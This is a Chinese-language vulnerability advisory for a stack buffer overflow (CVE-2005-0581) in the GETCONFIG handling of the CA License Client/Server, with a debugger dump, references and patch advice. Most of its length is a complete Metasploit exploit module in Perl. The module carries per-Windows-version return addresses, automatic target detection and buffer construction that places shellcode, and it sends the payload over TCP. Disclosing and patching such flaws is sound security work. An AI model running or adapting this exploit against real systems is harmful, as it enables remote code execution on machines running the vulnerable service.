安全研究
安全漏洞
CA License Client/Server GETCONFIG请求缓冲区溢出漏洞
发布日期：2005-03-02
更新日期：2005-03-03
受影响系统：
Computer Associates License Server 0.1.0.15描述：
Computer Associates License Client 0.1.0.15
BUGTRAQ ID: 12705
CVE(CAN) ID: CVE-2005-0581
Computer Associates License Client/Server应用程序允许CA产品在网络上注册其许可证。大多数CA软件发布中都捆绑了License Client和Server。
CA License Client/Server对GETCONFIG请求参数的处理上存在缓冲区溢出漏洞，远程攻击者可能利用此漏洞在服务器或客户端上执行任意指令。
漏洞的起因是对GETCONFIG请求中用户提供的值所执行的不充分的边界检查。在正常的操作中，License Server会向连接客户端发送GETCONFIG请求，然后客户端有选择性的用类似的GETCONFIG报文响应。但服务端和客户端都没能正确检查GETCONFIG报文最后一个参数的边界，导致下文所示的栈溢出。
CA License Server在SEH覆盖后的Ollydbg输出如下：
EAX 00000001
ECX 7C90FB71 ntdll.7C90FB71
EDX 0000000D
EBX 00E4E053 ASCII "GETCONFIG"
ESP 00E2FC9C
EBP 00E4E050 ASCII "A0"
ESI 00E2FD18
EDI 00E4E05D ASCII "SELF"
EIP DEADC0DE
Log data, item 0
Address=DEADC0DE
Message=Access violation when executing [DEADC0DE]
<*来源：eEye （info@eEye.com）
Williams, James K （james.williams@ca.com）
链接：http://www.eeye.com/html/research/advisories/AD20050302.html
http://marc.theaimsgroup.com/?l=bugtraq&m=110979326828704&w=2
http://supportconnectw.ca.com/public/ca_common_docs/security_notice.asp
www.idefense.com/application/poi/display?id=213
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::calicserv_getconfig;
use base "Msf::Exploit";
use strict;
use Pex::Text;
my $advanced = { };
my $info =
{
'Name' => 'CA License Server GETCONFIG Overflow',
'Version' => '$Revision: 1.12 $',
'Authors' => [ 'Thor Doomen <syscall [at] hushmail.com>' ],
'Arch' => [ 'x86' ],
'OS' => [ 'win32', 'win2000', 'winxp', 'win2003' ],
'Priv' => 1,
'AutoOpts' => { 'EXITFUNC' => 'thread' },
'UserOpts' => {
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 10202],
},
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00\x20",
'Prepend' => "\x81\xc4\x54\xf2\xff\xff",
'Keys' => ['+ws2ord'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits an vulnerability in the CA License Server
network service. This is a simple stack overflow and just one of
many serious problems with this software.
}),
'Refs' =>
[
['OSVDB', '14322'],
['BID', '12705'],
['CVE', '005-0581'],
['URL', 'http://www.idefense.com/application/poi/display?id=213&type=vulnerabilities'],
['MIL', '18'],
],
'Targets' => [
# As much as I would like to return back to the DLL or EXE,
# all of those modules have a leading NULL in the
# loaded @ address :(
# name, jmp esi, writable, jmp edi
['Automatic', 0],
['Windows 2000 English', 0x750217ae, 0x7ffde0cc, 0x75021421], # ws2help.dll esi + peb + edi
['Windows XP English SP0-1', 0x71aa16e5, 0x7ffde0cc, 0x71aa19e8], # ws2help.dll esi + peb + edi
['Windows XP English SP2', 0x71aa1b22, 0x71aa5001, 0x71aa1e08], # ws2help.dll esi + .data + edi
['Windows 2003 English SP0', 0x71bf175f, 0x7ffde0cc, 0x71bf1a2c], # ws2help.dll esi + peb + edi
],
'Keys' => ['calicense'],
'DisclosureDate' => 'Mar 02 2005',
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Check {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $data = $self->GetConfig($target_host, $target_port);
if (! $data) {
$self->PrintLine("[*] Could not read remote configuration");
return $self->CheckCode('Connect');
}
$self->PrintLine("[*] License Server: $data");
return $self->CheckCode('Detected');
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $target_idx = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $target = $self->Targets->[$target_idx];
if (! $self->InitNops(128)) {
$self->PrintLine("[*] Failed to initialize the nop module.");
return;
}
if ($target_idx == 0) {
my $data = $self->GetConfig($target_host, $target_port);
if ($data =~ m/OS\<([^\>]+)/) {
my $os = $1;
$os =~ s/_NT//g;
$os =~ s/5\.1/XP/;
$os =~ s/5\.2/2003/;
$os =~ s/5\.0/2000/;
$os =~ s/4\.0/NT 4.0/;
my @targs;
for (1 .. (scalar(@{$self->Targets})-1)) {
if (index($self->Targets->[$_]->[0], $os) != -1) {
push @targs, $_;
}
}
if (scalar(@targs) > 1) {
$self->PrintLine("[*] Multiple possible targets:");
foreach (@targs) {
$self->PrintLine("[*] $_\t".$self->Targets->[$_]->[0]);
}
return;
}
if (scalar(@targs) == 1) {
$target = $self->Targets->[$targs[0]];
}
if (! scalar(@targs)) {
$self->PrintLine("[*] No matching target for $os");
return;
}
} else {
$self->PrintLine("[*] Could not determine the remote OS automatically");
return;
}
}
$self->PrintLine("[*] Attempting to exploit target " . $target->[0]);
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
# Read the initial greeting from the license server
my $res = $s->Recv(-1, 1);
if (! $res || $res !~ /GETCONFIG/) {
$self->PrintLine("[*] The server did not return the expected greeting");
return;
}
my $boom = $self->MakeNops(900);
## exploits two different versions at once >:-)
# 144 -> return address of esi points to string middle
# 196 -> return address of edi points to string beginning
# 148 -> avoid exception by patching with writable address
# 928 -> seh handler (not useful under XP SP2)
substr($boom, 142, 2, "\xeb\x08"); # jmp over addresses
substr($boom, 144, 4, pack('V', $target->[1])); # jmp esi
substr($boom, 148, 4, pack('V', $target->[2])); # writable address
substr($boom, 194, 2, "\xeb\x04"); # jmp over address
substr($boom, 196, 4, pack('V', $target->[3])); # jmp edi
substr($boom, 272, length($shellcode), $shellcode);
my $req = "A0 GETCONFIG SELF $boom<EOM>";
$self->PrintLine("[*] Sending " .length($req) . " bytes to remote host.");
$s->Send($req);
return;
}
sub GetConfig {
my $self = shift;
my $target_host = shift;
my $target_port = shift;
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
# Recieve the message that is first sent
$s->Recv(-1, 1);
# Ask for the configuration info
$s->Send("A0 GETCONFIG SELF 0<EOM>");
my $res = $s->Recv(-1, 2);
# Close the socket
$s->Close;
# Return the data
return $res;
}
1;
__DATA__
eTrust: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.2>OLFFILE<0 0 0>SERVER<RMT>VERSION<0 1.61.0>NETWORK<192.168.3.22 unknown 255.255.255.0>MACHINE<PC_686_1_2084>CHECKSUMS<0 0 0 0 0 0 0 00 0 0 0>RMTV<1.3.1><EOM>
BrightStor: A0 GCR HOSTNAME<XXX>HARDWARE<xxxxxx>LOCALE<English>IDENT1<unknown>IDENT2<unknown>IDENT3<unknown>IDENT4<unknown>OS<Windows_NT 5.1>OLFFILE<0 0 0>SERVER<RMT>VERSION<3 1.54.0>NETWORK<11.11.11.111 unknown 255.255.255.0>MACHINE<DESKTOP>CHECKSUMS<0 0 0 0 0 0 0 0 0 0 0 0>RMTV<1.00><EOM>
建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 使用防火墙，仅允许可信任的主机连接到Computer Associates License Server和Client端口上。
厂商补丁：
Computer Associates
-------------------
目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载：
http://supportconnectw.ca.com/public/reglic/downloads/licensepatch.asp#alp
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